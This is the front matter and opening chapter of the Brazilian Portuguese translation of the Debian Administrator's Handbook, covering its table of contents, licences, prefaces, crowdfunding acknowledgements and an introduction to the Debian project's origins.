o manual do administrador debian - raphael hertzog.pdf

1945

Upload: franklin-serviteur-de-dieu

Post on 27-Dec-2015

605 views

Category:

Documents


32 download

TRANSCRIPT

O Manual doAdministradorDebianTable of Contents

PrefácioPrefacio

1. O Projeto Debian1.1. O que é Debian?1.2. Os Documentos da fundação1.3. O Funcionamento interno doProjeto Debian1.4. O Papel das Distribuições1.5. Ciclo de vida de umLançamento

2. Apresentando o Caso de Estudo2.1. Crescimento Rápidos dasNecessidades de TI2.2. Plano Mestre2.3. Por que uma DistribuiçãoGNU/Linux?2.4. Por que a DistribuiçãoDebian?2.5. Por que Debian Squeeze?

3. Analisando a Configuração Existentee Migrando

3.1. Coexistência em AmbientesHeterogêneos3.2. Como Migrar

4. Instalação4.1. Métodos de Instalação4.2. Instalando, Passo a Passo4.3. After the First Boot

5. Sistema de Pacotes: Ferramentas ePrincípios Fundamentais

5.1. Estrutura de um PacoteBinário5.2. Metainformação do Pacote5.3. Estrutura de um Pacote Fonte5.4. Manipulando Pacotes com odpkg5.5. Coexistencia com outrossistemas de pacotes

6. Manutenções e atualizações: Asferramentas APT

6.1. Preenchendo no arquivosources.list Arquivo6.2. Comandos aptitude e apt-get6.3. O Comando apt-cache6.4. Interfaces: aptitude, synaptic6.5. Verificando Autenticidade doPacote6.6. Atualizando de uma VersãoEstável para a Próxima6.7. Mantendo um SistemaAtualizado6.8. Atualizações Automáticas6.9. Buscando por Pacotes

7. Resolvendo Problemas eEncontrando Informações Relevantes

7.1. Fontes de documentacao7.2. Procedimentos comuns

8. Configuração Básica: Rede, Contas,Impressão...

8.1. Configurando o Sistema paraOutra Língua8.2. Configurando a Rede8.3. Setting the Hostname andConfiguring the Name Service8.4. User and Group Databases8.5. Criação de Contas8.6. Shell Environment8.7. Configuração da Impressora8.8. Configuring the Bootloader8.9. Other Configurations: TimeSynchronization, Logs, SharingAccess...8.10. Compilando o núcleo8.11. Instalando o Núcleo

9. Serviços Unix9.1. Inicialização do Sistema9.2. Login remoto9.3. Gerenciando Direitos9.4. Interfaces Administrativas9.5. syslog Eventos de Sistema9.6. O super servidor inetd9.7. Agendando Tarefas com crone atd9.8. Agendando TarefasAssíncronas: anacron9.9. Cotas9.10. Backup9.11. Hot Plugging: hotplug9.12. Power Management9.13. Laptop Extension Cards:PCMCIA

10. Infraestrutura de Rede10.1. Gateway10.2. Rede Privada Virtual10.3. Qualidade do Serviço10.4. Roteamento Dinâmico10.5. IPv610.6. Domain Name Servers(DNS)10.7. DHCP10.8. Ferramentas de Diagnósticode Rede

11. Serviços de Rede: Postfix, Apache,NFS, Samba, Squid, LDAP

11.1. Servidor de CorreioEletrônico11.2. Web Server (HTTP)11.3. Servidor de Arquivos FTP11.4. Servidor de Arquivos NFS11.5. Configurando umCompartilhamento Windows como Samba11.6. Proxy HTTP/FTP11.7. Diretório LDAP

12. Administração Avançada12.1. RAID e LVM12.2. Virtualização12.3. Instalação Automatizada12.4. Monitoramento

13. Estação de trabalho13.1. Configurando o servidor X1113.2. Customizando a InterfaceGráfica13.3. Ambientes Gráficos13.4. Ferramentas13.5. Emulando o Windows: Wine

14. Segurança14.1. Definindo uma Política deSegurança14.2. Firewall ou Filtragem depacotes14.3. Supervisão: Prevenção,Detecção, Desencorajamento14.4. Introducao ao SELinux14.5. Outras ConsideracoesRelacionadas a Seguranca14.6. Lidando com uma máquinacomprometida

15. Criando um Pacote Debian15.1. Reconstruindo um Pacote apartir de suas Fontes15.2. Construindo seu PrimeiroPacote15.3. Criando um Repositório dePacotes para o APT15.4. Tornando-se um Mantenedorde Pacotes

16. Conclusão: O Futuro do Debian16.1. Desenvolvimentos futuros16.2. Futuro do Debian16.3. O Futuro deste Livro

A. Distribuições DerivadasA.1. Censo e CooperaçãoA.2. UbuntuA.3. KnoppixA.4. Linux MintA.5. SimplyMEPISA.6. Aptosid (AnteriormenteSidux)A.7. Damn Small LinuxA.8. E Muito Mais

B. Curso de Curta DuraçãoB.1. Shell e Comandos BásicosB.2. Organização do Sistema deArquivos Hierárquico

B.3. Funcionamento Interno de umComputador: as DiferentesCamadas EnvolvidasB.4. Algumas Tarefas Manejadaspelo NúcleoB.5. O Espaço de Usuário

O Manual doAdministradorDebian

Debian Squeeze dadescoberta à maestria

Raphaël Hertzog

<[email protected]>

Roland Mas

<[email protected]>

Copyright © 2003, 2004, 2005, 2006,2007, 2008, 2009, 2010, 2011, 2012Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009,2010, 2011, 2012 Roland Mas

Copyright © 2012 Freexian SARL

ISBN: 979-10-91414-00-5 (brochura)

ISBN: 979-10-91414-01-2 (ebook)

Este livro está disponível sob os termosde duas licenças compatíveis com asDiretrizes de Software Livre Debian.

Nota da Licença Creative Commons: Este livro está licenciado sob a LicençaCreative Commons Attribution-ShareAlike 3.0 Unported.

→ http://creativecommons.org/licenses/by-sa/3.0/

Nota da Licença Pública Geral daGNU: Este livro é documentaçãolivre; você pode redistribuí-lo e/oumodificá-lo dentro dos termos daLicença Pública Geral GNU comopublicada pela Fundação do SoftwareLivre, na versão 2 da Licença, ou (nasua opinião) qualquer versão.

Este livro é distribuído na esperança deque ele seja útil, mas SEM

QUALQUER GARANTIA; sem aomenos a garantia implícita deCOMERCIALIZAÇÃO ouADEQUAÇÃO PARA UMPROPÓSITO PARTICULAR. Veja aLicença Pública Geral GNU para maisdetalhes.

Você deve ter recebido uma cópia daLicença Pública Geral GNU junto comeste programa. Se não, vejahttp://www.gnu.org/licenses/.

Mostre suaapreciação

Este livro é publicado sob

uma licença livre porquequeremos que todos sebeneficiem dele. Dito isto,mantê-lo requer tempo emuito esforço, e nósgostamos de seragradecidos por isso. Sevocê achar este livrovalioso, por favor,considere contribuir parasua contínua manutenção,seja através da compra dolivro ou fazendo umadoação através do siteoficial do livro:

→ http://debian-handbook.info

Abstract

Um livro de referência apresentando adistribuição Debian, da instalaçãoinicial até a configuração de serviços.

PrefácioMuitos profissionais estão adotandocada vez mais o Debian GNU/Linux,cujo objetivo é criar uma distribuiçãorica e flexível que não requer muitamanutenção e se encaixa em suasexpectativas. Eles geralmente apreciamsua robustez e confiabilidade, suaautomação de tarefas secundárias, bemcomo a coerência trazida pelaaplicação rígida de especificações e,portanto, a durabilidade de realizaçõese habilidades.

Ao mesmo tempo, muitos atoresinfluentes na indústria da computação

começam a compreender o interesseestratégico de usar uma distribuiçãoelaborada que não é gerenciada poruma entidade comercial. Alguns deseus clientes compreendem também —seguindo a mesma lógica — que umaplataforma de software que nãodepende de acordos entre fornecedoresreduz as suas limitações depois dacompra.

Finalmente, muitos iniciantesdescobrem o Debian através dosprojetos Knoppix e Ubuntu, enquantooutros "olham embaixo do capô"porque desejam evitar o empirismo.

Debian — que costumava ser discreto

— foi adotado primeiramente porusuários apaixonados, que muitas vezesforam atraídos pelo espírito do projeto.Eles descobriram um projeto comobjetivos claros e resultados visíveis,cujos desenvolvedores se concentramna criação de um bom design antes deconstruí-lo — rejeitando assim osprazos que, em muitas vezes,comprometem a qualidade de tantosoutros projetos de software. O Debian éconduzido por seus próprios atores. Emoutras palavras, os usuários do Debianparticipam de um projeto que sebeneficia plenamente das vantagens dosoftware livre ... para produzir softwarelivre para eles mesmos.

O Manual do Administrador do Debianguiará o seu caminho para a autonomia.Só poderia ter sido escrito por autoresque dominam tanto os aspectostécnicos como o funcionamento internodo projeto Debian, e quem conhece asnecessidades de profissionaisexperientes, bem como de entusiastas.Raphaël Hertzog e Roland Mas tinhamas qualidades necessárias, econseguiram criar e atualizar este livro.Eu os agradeço muito pelo seu trabalhoe não tenho nenhuma dúvida que aleitura deste livro será útil e agradável.

Nat Makarevitch (fingerprintPGP/GPG: 2010 4A02 9C0E 7D1F5631 ADF0 453C 4549 0230 D602)

PrefacioO Linux foi ganhando força nosúltimos anos, e sua popularidadecrescente leva mais e mais usuários afazer o salto. O primeiro passo nessecaminho é escolher uma distribuição.Esta é uma decisão importante, porquecada distribuição tem suas própriaspeculiaridades, e os futuros custos demigração podem ser evitados se aescolha certa é feita desde o início.

DE VOLTA AO BÁSICO distribuicaoLinux, kernel Linux

Estritamente falando, Linux é apenas um

núcleo, a parte essencial do software quefica entre o hardware e as aplicações.

Uma "distribuição Linux" é um sistemaoperacional completo, que normalmenteinclui o kernel do Linux, um programa deinstalação e, o mais importante,aplicativos e outros softwares necessáriospara transformar um computador em umaferramenta realmente útil.

O Debian GNU/Linux é umadistribuição Linux "genérica" que serveà maioria dos usuários. O propósitodeste livro é mostrar seus muitosaspectos para que você possa tomaruma decisão fundamentada ao escolher.

1. Por que esteLivro?

CULTURA Distribuições Comerciais

A maioria das distribuições Linux sãosuportadas por uma empresa com finslucrativos que as desenvolve e vende sobalgum tipo de esquema comercial.Exemplos incluem Ubuntu, desenvolvidaprincipalmente pela Canonical Ltd.;Mandriva Linux, pela companhia francesaMandriva SA; e Suse Linux, mantida edisponibilizada comercialmente pelaNovell.

No outro extremo do espectro encontram

nomes como Debian e a Apache SoftwareFoundation (que hospeda odesenvolvimento para o servidor webApache). Debian é, acima de tudo, umprojeto no mundo do Software Livre,implementado por voluntários quetrabalham em conjunto através daInternet.

O Linux reuniu um volumeconsiderável de cobertura da mídia,que beneficia principalmente asdistribuições apoiadas por umdepartamento de marketing real - emoutras palavras, para distribuiçõesbaseadas em empresas (Ubuntu, RedHat, Suse, Mandriva, e assim pordiante). Mas o Debian está longe de ser

uma distribuição marginal; de acordocom um estudo alemão feito no iníciode 2009, o Debian é a distribuição maisutilizada em servidores (com quasemetade das empresas entrevistadastendo pelo menos um servidor Debian),e a segunda mais amplamente instaladaem desktops (logo atrás do Ubuntu, queé um derivado do Debian).

→ http://www.heise.de/open/artikel/Eingesetzte-Produkte-224518.html

O propósito deste livro é ajudar você adescobrir esta distribuição. Nósesperamos compartilhar a experiênciaque reunimos uma vez em 1998(Rafael) e 2000 (Roland) se juntaram

ao projeto como desenvolvedores ecolaboradores. Com alguma sorte,nosso entusiasmo vai ser comunicativo,e talvez você se junte a nós em algummomento…

A primeira edição deste livro (em2004) serviu para preencher umburaco: era o primeiro livro de línguafrancesa focada exclusivamente noDebian. Naquele tempo, muitos outroslivros foram escritos sobre o tema paraos leitores de francês e inglês.Infelizmente quase nenhum deles foiatualizado, e hoje estamos novamentenos encontramos em uma situação ondehá muito poucos bons livros sobreDebian. Nós realmente esperamos que

esta primeira edição em inglêspreencha esta lacuna e ajude a muitosusuários.

2. Para quem éeste Livro?Tentamos fazer com que este livrofosse útil para muitas categorias deleitores. Primeiro, os administradoresde sistemas (novatos e experientes)encontrarão explicações sobre ainstalação e implementação do Debianem muitos computadores. Eles tambémterão uma idéia da maioria dos serviçosdisponíveis no Debian, juntamente cominstruções de configuraçãocorrespondentes e uma descrição dasespecificidades provenientes dadistribuição. Compreender os

mecanismos envolvidos nodesenvolvimento do Debian irácapacitá-los à lidar com problemasimprevistos, sabendo que podemsempre encontrar ajuda dentro dacomunidade.

Os usuários de outra distribuiçãoLinux, ou de outra variante Unix,descobrirão as especificidades doDebian, e deverão estar operacionaismuito rapidamente enquanto sebeneficiam plenamente das vantagensúnicas desta distribuição.

Finalmente, os leitores que já têmalgum conhecimento do Debian equerem saber mais sobre a comunidade

por trás dele deve ver suas expectativascumpridas. Este livro deve deixá-losmuito mais próximo de se juntar a nós,como colaboradores.

3. AbordagemEscolhidaToda a documentação genérica quevocê possa encontrar sobre GNU/Linuxtambém se aplica ao Debian, já que oDebian inclui os softwares livres maiscomuns. No entanto, a distribuição trazmuitas melhorias, razão pela qualoptou-se primeiramente descrever o"modo do Debian" de fazer as coisas.

É interessante seguir as recomendaçõesdo Debian, mas é ainda melhorcompreender a sua lógica. Portanto,não nos restringiremos a explicações

práticas apenas; também vamosdescrever o funcionamento do projeto,de modo a proporcionar-lhe umconhecimento abrangente e consistente.

4. Estrutura doLivroSeguindo a estrutura e os objetivos dacoleção "Manual do Administrador" deEyrolles, este livro gira em torno deum estudo de caso fornecendo apoio eilustração para todos os tópicostratados.

NOTA Página Web, email dos autores

Este livro tem o seu próprio site, quehospeda elementos que podem torná-lomais útil. Em particular, inclui uma versãoonline do livro com links clicáveis, epossíveis erratas. Sinta-se a vontade para

navegar nele e deixar-nos um comentário.Teremos o maior prazer de ler seuscomentários ou mensagens de apoio. Podeenviar por e-mail para<[email protected]>(Raphaël) e<[email protected]>(Roland).

→ http://debian-handbook.info/

O Capitulo 1 se concentra em umaapresentação não-técnica do projetoDebian e descreve seus objetivos eorganização. Estes aspectos sãoimportantes porque definem um quadrogeral que irá completar outroscapítulos com informações maisconcretas.

Os Capítulos 2 e 3 fornecem umadescrição geral do estudo de caso.Neste ponto, os leitores iniciantespodem reservar um tempo para ler oapêndice B, onde encontrarão umcurso rápido de reparação, explicandouma série de noções básicas decomputação, bem como conceitosinerentes à qualquer sistema Unix.

Para começar com o nosso assunto real,vamos naturalmente começar com oprocesso de instalação (capítulo 4); oscapítulos 5 e 6 vão apresentarferramentas básicas que qualqueradministrador Debian vai usar, comoos da família APT, que é largamenteresponsável pela excelente reputação

da distribuição. Estes capítulos nãoestão de forma reservada aprofissionais, já que todo mundo é seupróprio administrador em casa.

O Capítulo 7 será um parêntesesimportante, que descreve os fluxos detrabalho para uso eficiente dadocumentação e atingir rapidamenteuma compreensão dos problemas, a fimde resolvê-los.

Os próximos capítulos serão uma visitamais detalhada do sistema, começandocom infraestrutura básica e serviços(capítulos 8 a 10 ) e iráprogressivamente na pilha, até chegarnas aplicações de usuários no capítulo

13. O Capítulo 12 lida com assuntosmais avançados que tratam maisdiretamente às preocupações dosadministradores de grandes conjuntosde computadores (incluindoservidores), enquanto o capítulo 14 éuma breve introdução para a questãomais ampla de segurança decomputadores e dá algumas chavespara evitar a maioria dos problemas.

O Capítulo 15 é para osadministradores que querem ir além ecriar seus próprios pacotes Debian.

VOCABULARIO Pacote Debian

Um pacote Debian é um arquivo contendotodos os arquivos necessários para

instalar um pedaço de software. Égeralmente um arquivo com uma extensão.deb, e pode ser manuseado com ocomando dpkg. Também chamado depacote binário, ele contém arquivos quepodem ser utilizados diretamente (comoprogramas ou documentação). Por outrolado, um pacote fonte contém o código-fonte do software e as instruçõesnecessárias para a construção do pacotebinário.

A presente versão em português doBrasil se baseia na tradução para oinglês da tradução da quinta edição dolivro em francês. Esta quinta edição foiuma atualização importante, cobrindo aversão 6.0 do Debian, com o codinomeSqueeze. Dentre as mudanças, o Debian

agora ostenta duas novas arquiteturas -kfreebsd-i386 e kfreebsd-amd64 -baseado no kernel do FreeBSD esuporta as tecnologiassociadas (jaulas,filtro de pacotes e assim por diante).Nas arquiteturas baseadas em Linux, okernel 2.6.32 amplia o suporte a todasprincipais tecnologias de virtualização(Xen/OpenVZ/LXC/KVM, vejaSection 12.2, “Virtualização”). Todosos pacotes incluídos, obviamente,foram atualizados. Muitas melhoriasvisam especificamente osmantenedores de pacotes, que podemagora usar um debian/rulessimplificado (com o comando dh dodebhelper); eles também se beneficiamde um sistema padrão de

gerenciamento de patch integrado aodpkg-source (usando o formato depacote fonte 3.0 (quilt)).

Nós adicionamos algumas notas eobservações nas barras laterais. Elastêm uma variedade de papéis: elaspodem chamar a atenção para um pontodifícil, completar uma noção de estudode caso, definir alguns termos, ouservir como lembretes. Aqui está umalista das mais comuns destas barraslaterais:

DE VOLTA AO BÁSICO: umlembrete para alguma informaçãoque supostamente é conhecida;VOCABULÁRIO: define um

termo técnico, às vezes específicoDebian;COMUNIDADE: destaca pessoasimportantes ou funções dentro doprojeto;POLÍTICA: uma regra ourecomendação da Política doDebian. Este documento éessencial dentro do projeto edescreve como empacotarsoftware. As partes da políticadestacadas neste livro trazembenefícios diretos para os usuários(por exemplo, saber que a políticapadroniza a localização dadocumentação e exemplos tornafácil encontrá-los, mesmo em umnovo pacote).

FERRAMENTA: apresenta umaferramenta ou serviço relevante;NA PRÁTICA: teoria e práticanem sempre coincidem; essasbarras laterais contêm conselhosresultantes da nossa experiência.Eles também podem dar exemplosdetalhados e concretos;outras barras laterais mais oumenos frequentes são bastanteexplícito: CULTURA, DICA,CUIDADO, INDO ALÉM,SEGURANÇA, e assim por diante.

5. Agradecimentos

5.1. Um pouco deHistóriaEm 2003, Nat Makarevitch entrou emcontato comigo (Raphaël) porquequeria publicar um livro sobre Debianna coleção Cahier de l'Admin (Manualde Administração) que ele estavacoordenando para Eyrolles, umaimportante editora francesa de livrostécnicos. Eu imediatamente aceiteiescrevê-lo. A primeira edição saiu nodia 14 de outubro de 2004 e foi um

enorme sucesso - foi vendido para foraapenas quatro meses depois.

Desde então, lançamos outras 4 ediçõesdo livro francês, um para cada versãodo Debian subsequente. Roland Mas,que começou a trabalhar no livro comoo meu revisor, se tornougradativamente seu co-autor.

Enquanto nós obviamente estávamossatisfeitos com o sucesso do livro,sempre esperávamos que a Eyrollesconvenceria uma editora internacionalpara traduzi-lo para o inglês.Recebemos muitos comentáriosexplicando como o livro ajudou aspessoas em começar a usar o Debian, e

estávamos interessados em ter o livrobeneficiando mais pessoas da mesmamaneira.

Infelizmente, nenhuma editora delíngua inglesa que nós contatamosestava disposta a correr o risco detraduzir e publicar o livro. Não nosintimidamos com este pequenocontratempo, e decidimos negociarcom o nossa editora francês Eyrollespara recuperar os direitos necessáriospara traduzir o livro em Inglês e tentarpublicá-lo nós mesmos.

5.2. Uma Traduçãocom Financiamento

ColetivoTraduzir um livro de 450 páginas é umesforço considerável, que requer váriosmeses de trabalho. Para ostrabalhadores autônomos, como Rolande eu, tivemos que garantir uma rendamínima para mobilizar o temponecessário para completar o projeto.Assim, montamos uma campanha definanciamento coletivo no Ulule epedimos às pessoas garantir dinheiropara o projeto.

→ http://www.ulule.com/debian-handbook/

A campanha teve dois objetivos:

alcançar €15.000 para a tradução ecompletar um fundo de €25.000 paraliberar o livro publicado sob umalicença livre - ou seja, uma licença quesegue totalmente as Diretrizes deSoftware Livre do Debian (DFSG).

Quando a campanha no Ulule terminou,o primeiro objetivo foi alcançado com€24.345 levantado. O fundo deliberação não foi completo, no entanto,com apenas €14.935 levantado. Comoanunciado inicialmente, a campanha deliberação continuouindependentemente do Ulule no portaloficial do livro.

Enquanto estávamos ocupados

traduzindo o livro, as doações para aliberação continuaram chegando... Eem abril de 2012, o fundo de liberaçãofoi completado. Você pode, assim, sebeneficiar deste livro sob os termos dalicença livre.

Gostaríamos de agradecer a todos quecontribuíram para estas campanhas dearrecadação de fundos, sejaprometendo dinheiro ou passando apalavra para frente. Nós nãopoderíamos ter feito isso sem vocês.

5.2.1. Empresas eOrganizações de apoio

Tivemos o prazer de obtercontribuições significativas de muitasempresas e organizações amigas doSoftware Livre. Obrigado a Code Lutin,École ouverte francófona, Evolix,Fantini Baker, FSF France, OffensiveSecurity (a empresa por trás LinuxBackTrack), Opensides, ProxmoxServer Solutions GmbH, SSIELL(Société d'Informatique Solidaire Enlogiciels Libres), e Syminet.

Também gostaríamos de agradecer aOMG! Ubuntu e April por sua ajuda empromover a operação.

5.2.2. Apoiadores individuais

Com mais de 650 apoiadores nacaptação de recursos iniciais, e váriascentenas mais na campanha deliberação contínua, é graças a pessoascomo você que este projeto foipossível. Obrigado!

Nós queremos enviar nossosagradecimentos especiais a todosaqueles que contribuíram com pelomenos €35 (algumas vezes muitomais!) para o fundo de liberação. Nósestamos contentes que existam tantaspessoas que compartilham nossosvalores de liberdade e aindareconhecem que nós merecíamos umacompensação pelo trabalho quededicamos neste projeto.

Então obrigado a: Alain Coron, AlainThabaud, Alan Milnes, AlastairSherringham, Alban Dumerain, AlessioSpadaro, Alex King, Alexandre Dupas,Ambrose Andrews, Andre Klärner,Andreas Olsson, Andrej Ricnik,Andrew Alderwick, Anselm Lingnau,Antoine Emerit, Armin F. Gnosa,Avétis Kazarian, Bdale Garbee, BenoitBarthelet, Bernard Zijlstra, CarlesGuadall Blancafort, Carlos Horowicz— Planisys S.A., Charles Brisset,Charlie Orford, Chris Sykes, ChristianBayle, Christian Leutloff, ChristianMaier, Christian Perrier, ChristopheDrevet, Christophe Schockaert(R3vLibre), Christopher Allan Webber,Colin Ameigh, Damien Dubédat, Dan

Pettersson, Dave Lozier, David Bercot,David James, David Schmitt, DavidTran Quang Ty, Elizabeth Young,Fabian Rodriguez, Ferenc Kiraly,Frédéric Perrenot — IntelligenceService 001, Fumihito Yoshida, Gian-Maria Daffré, Gilles Meier, GiorgioCittadini, Héctor Orón Martínez,Henry, Herbert Kaminski, HidekiYamane, Hoffmann InformationServices GmbH, Holger Burkhardt,Horia Ardelean, Ivo Ugrina, JanDittberner, Jim Salter, JohannesObermüller, Jonas Bofjäll, JordiFernandez Moledo, Jorg Willekens,Joshua, Kastrolis Imanta, KeisukeNakao, Kévin Audebrand, KorbinianPreisler, Kristian Tizzard, Laurent

Bruguière, Laurent Hamel, LeurentSylvain, Loïc Revest, Luca Scarabello,Lukas Bai, Marc Singer, MarceloNicolas Manso, Marilyne et Thomas,Mark Janssen — Sig-I/OAutomatisering, Mark Sheppard, MarkSymonds, Mathias Bocquet, MatteoFulgheri, Michael Schaffner, MicheleBaldessari, Mike Chaberski, MikeLinksvayer, Minh Ha Duong, MoreauFrédéric, Morphium, Nathael Pajani,Nathan Paul Simons, NicholasDavidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, PaoloInnocenti, Pascal Cuoq, PatrickCamelin, Per Carlson, Philip Bolting,Philippe Gauthier, Philippe Teuwen, PJKing, Praveen Arimbrathodiyil

(j4v4m4n), Ralf Zimmermann, RayMcCarthy, Rich, Rikard Westman,Robert Kosch, Sander Scheepens,Sébastien Picard, Stappers, StavrosGiannouris, Steve-David Marguet, T.Gerigk, Tanguy Ortolo, ThomasHochstein, Thomas Müller, ThomasPierson, Tigran Zakoyan, TobiasGruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark,Vincent Demeester, Vincent vanAdrighem, Volker Schlecht, WernerKuballa, Xavier Neys e Yazid CassamSulliman.

5.3. Um EspecialAgradecimento aos

ColaboradoresEste livro não seria o que é sem ascontribuições de várias pessoas quedesempenharam um importante papel.Gostaríamos de agradecer a MarilyneBrun, que nos ajudou a traduzir ocapítulo de amostra e que trabalhouconosco para definir algumas regras detradução comuns. Ela também revisouvários capítulos que estavamprecisando desesperadamente detrabalho suplementar. Obrigado aAnthony Baldwin (de BaldwinLinguas), que traduziu vários capítulospara nós.

Contamos com a ajuda generosa dosrevisores: Daniel Phillips, GeroldRupprecht, Gordon Dey, Jacob Owens,e Tom Syroid. Cada um deles revisoumuitos capítulos. Muito obrigado!

Gostaríamos também de agradecer aosleitores do livro francês, que nosforneceram algumas citaçõesinteressantes para confirmar que olivro era realmente digno de sertraduzido: obrigado Christian Perrier,David Bercot, Étienne Liétart, e GillesRoussi. Stefano Zacchiroli - que era oLíder do Projeto Debian durante acampanha de financiamento coletivo -também merece um grande obrigado,ele gentilmente aprovou o projeto com

uma citação explicando que livroslivres ("free" como em liberdade) erammais do que o necessário.

Se você tiver o prazer de ler estaslinhas num exemplar de bolso do livro,então você deve se juntar a nós paraagradecer a Benoît Guillon, Jean-CômeCharpentier, e Sébastien Mengin quetrabalharam no projeto interno do livro.Benoît é o autor principal do dblatex -a ferramenta que usamos paraconverter o DocBook em LaTeX (e emPDF). Sébastien é o designer que crioueste bom layout do livro e Jean-Côme éo especialista LaTeX que implementouele como uma folha de estilo utilizávelcom dblatex. Obrigado rapazes por

todo o trabalho duro!

Finalmente, obrigado a ThierryStempfel pelas belas figuras inseridasem cada capítulo, e obrigado a DoruPatrascu pela bela capa do livro.

5.4. Agradecimentospessoais de RaphaëlPrimeiro, eu gostaria de agradecer aNat Makarevitch, quem me ofereceu apossibilidade de escrever este livro eque forneceu uma orientação muitoforte durante o ano que levou parafazê-lo. Obrigado também à boa equipeda Eyrolles, e Shan Muriel Fan Sei em

particular. Ela foi muito pacientecomigo e eu aprendi muito com ela.

O período da campanha na Ulule foimuito exigente para mim, mas eugostaria de agradecer a todos queajudaram a torná-la um sucesso, e emparticular a equipe da Ulule querespondeu muito rapidamente aos meuspedidos. Obrigado também a todos quepromoveram a operação. Eu não tenhoqualquer lista exaustiva (e se eu tivesseseria provavelmente muito tempo) maseu gostaria de agradecer a algumaspessoas que estavam em contatocomigo: Joey-Elias Sneddon eBenjamin Humphrey da OMG! Ubuntu,Frédéric Couchet da April.org, Jake

Edge da Linux Weekly News, ClementLefebvre do Linux Mint, LadislavBodnar do Distrowatch, Steve Kemp doDebian-Administration.org, ChristianPfeiffer Jensen do Debian-News.net,Artem Nosulchik de LinuxScrew.com,Stephan Ramoin do Gandi.net,Matthew Bloch do Bytemark.co.uk, aequipe da Divergência FM, Rikki Kiteda Linux New Media, Jono Bacon, aequipe de marketing da Eyrolles, emuitos outros que esqueci (desculpepor isto).

Gostaria de enviar um agradecimentoespecial a Roland Mas, meu co-autor.Temos tido a colaboração neste livrodesde o início e ela sempre esteve à

altura do desafio. E devo dizer que aconclusão do Manual do AdministradorDebian tem sido de muito trabalho...

Por último mas não menos importante,agradeço à minha esposa, Sophie. Eladeu muito apoio ao meu trabalho sobreeste livro e para o Debian em geral.Houve muitos dias (e noites), quandoeu a deixei sozinha com nosso filho de2 anos de idade para fazer algumprogresso no livro. Eu sou grato peloseu apoio e sei como sou sortudo portê-la.

5.5. Agradecimentospessoais de Roland

Bem, Raphaël já antecipou a maiorparte dos agradecimentos "externos".Eu ainda estou indo enfatizar o meuagradecimento pessoal para o pessoalda Eyrolles, com quem a colaboraçãotem sido sempre agradável e tranquila.Esperamos que os resultados de seusexcelentes conselhos não se percam natradução.

Eu estou extremamente grato a Raphaëlpor assumir a parte administrativadesta edição em inglês. De organizar acampanha de financiamento para osúltimos detalhes do leiaute do livro,produzindo um livro traduzido é muitomais do que apenas traduzir e revisar, eRaphaël fez (ou delegou e

supervisionou) tudo. Então, obrigado.

Obrigado também a todos aqueles quemais ou menos diretamentecontribuíram para este livro, por proveresclarecimentos ou explicações, ouconselhos de tradução. Eles são muitospara mencionar, mas a maioria delespodem ser encontrados em várioscanais de IRC #debian-*.

Há, naturalmente, alguma sobreposiçãocom o conjunto anterior de pessoas,mas agradecimentos específicos aindaestão na ordem para as pessoas querealmente fazem o Debian. Não seriamuito de um livro sem eles, e eu aindaestou admirado com o que o projeto

Debian como um todo produz edisponibiliza para qualquer e todos.

Mais agradecimentos pessoais vão paraos meus amigos e clientes, por a suacompreensão quando eu estava menosresponsivo, porque eu estavatrabalhando neste livro, e também peloseu apoio constante, incentivo eorientação. Você sabe quem você é;obrigado.

E, finalmente, estou certo de queficaria surpreso ao ser mencionadoaqui, mas eu gostaria de estenderminha gratidão a Terry Pratchett,Jasper Fforde, Tom Holt, WilliamGibson, Neal Stephenson, e, claro, o

falecido Douglas Adams. Asincontáveis horas que passeidesfrutando seus livros são diretamenteresponsáveis por eu ser capaz de fazerparte desta tradução.

Chapter 1. OProjeto DebianAntes de nos aprofundar na tecnologia,vamos olhar o que o Projeto Debian é,seus objetivos, seus significados, e seufuncionamento.

1.1. O que éDebian?

CULTURA Origem do nome Debian

Não procure mais: Debian não é umacrônimo. Este nome é, na realidade, umacontração de dois nomes: o de IanMurdock, e sua namorada na época,Debra. Debra + Ian = Debian.

Debian é uma distribuição GNU/Linuxe GNU/kFreeBSD. Vamos discutir oque é uma distribuição em maisdetalhes em Section 1.4, “O Papel dasDistribuições”, mas por enquanto,vamos simplesmente dizer que é umsistema operacional completo,incluindo software e sistemas parainstalação e gestão, todos baseados nokernel Linux ou FreeBSD e softwareslivres (especialmente os do projetoGNU).

Quando ele criou o Debian, em 1993,sob a liderança da FSF, Ian Murdockteve objetivos claros, que ele expressano Manifesto Debian. O sistemaoperacional livre que buscava teria queter duas características principais.Primeiro, a qualidade: o Debian seriadesenvolvido com o maior cuidado,para ser digno do kernel Linux.Também seria uma distribuição não-comercial, acreditável suficientementepara competir com as principaisdistribuições comerciais. Esta ambiçãodupla seria, em seus olhos, alcançadasomente através da abertura doprocesso de desenvolvimento doDebian assim como a do Linux e oprojeto GNU. Assim, a avaliação pelos

pares continuamente melhora oproduto.

CULTURA GNU, O projeto da FSF

O projeto GNU é um conjunto desoftwares livres desenvolvidos, oupatrocinados, pela Free SoftwareFoundation (FSF), originada por seucélebre líder, Dr. Richard M. Stallman.GNU é um acrônimo recursivo, da citação"GNU não é Unix".

CULTURA Richard Stallman

Fundador da FSF e autor da licença GPL,Richard M. Stallman (frequentementereferido por suas iniciais, RMS) é umlíder carismático do movimento Software

Livre. Devido a suas posições inflexíveis,ele não é admirado na unanimidade, massuas contribuições não técnicas para oSoftware Livre (em particular no níveljurídico e filosófico) são respeitadas portodos.

1.1.1. Um SistemaOperacional Multi-Plataforma

COMUNIDADE A jornada de IanMurdock

Ian Murdock, fundador do projetoDebian, foi o seu primeiro líder, de 1993 a

1996. Depois de passar o bastão paraBruce Perens, Ian teve um papel menospúblico. Ele voltou a trabalhar por trásdos bastidores da comunidade desoftware livre, criando a empresaProgeny, com a intenção de comercializaruma distribuição derivada do Debian.Este empreendimento foi um fracassocomercial, infelizmente, e seudesenvolvimento foi abandonado. Aempresa, após alguns anos sobrevivendoapenas como prestador de serviços,finalmente pediu concordata em abril de2007. Dos vários projetos iniciadas pelaProgeny, apenas o discover aindapermanece. É uma ferramenta de detecçãoautomática de hardware.

O Debian, permanecendo fiel aos seus

princípios iniciais, teve tanto sucessoque, hoje, alcançou um tremendotamanho. As 11 arquiteturas oferecidascobrem 9 arquiteturas de hardware e 2kernels (Linux e FreeBSD). Alémdisso, com mais de 14.500 pacotesfonte, os softwares disponíveis podemsatisfazer praticamente qualquernecessidade que se poderia ter, seja emcasa ou na empresa.

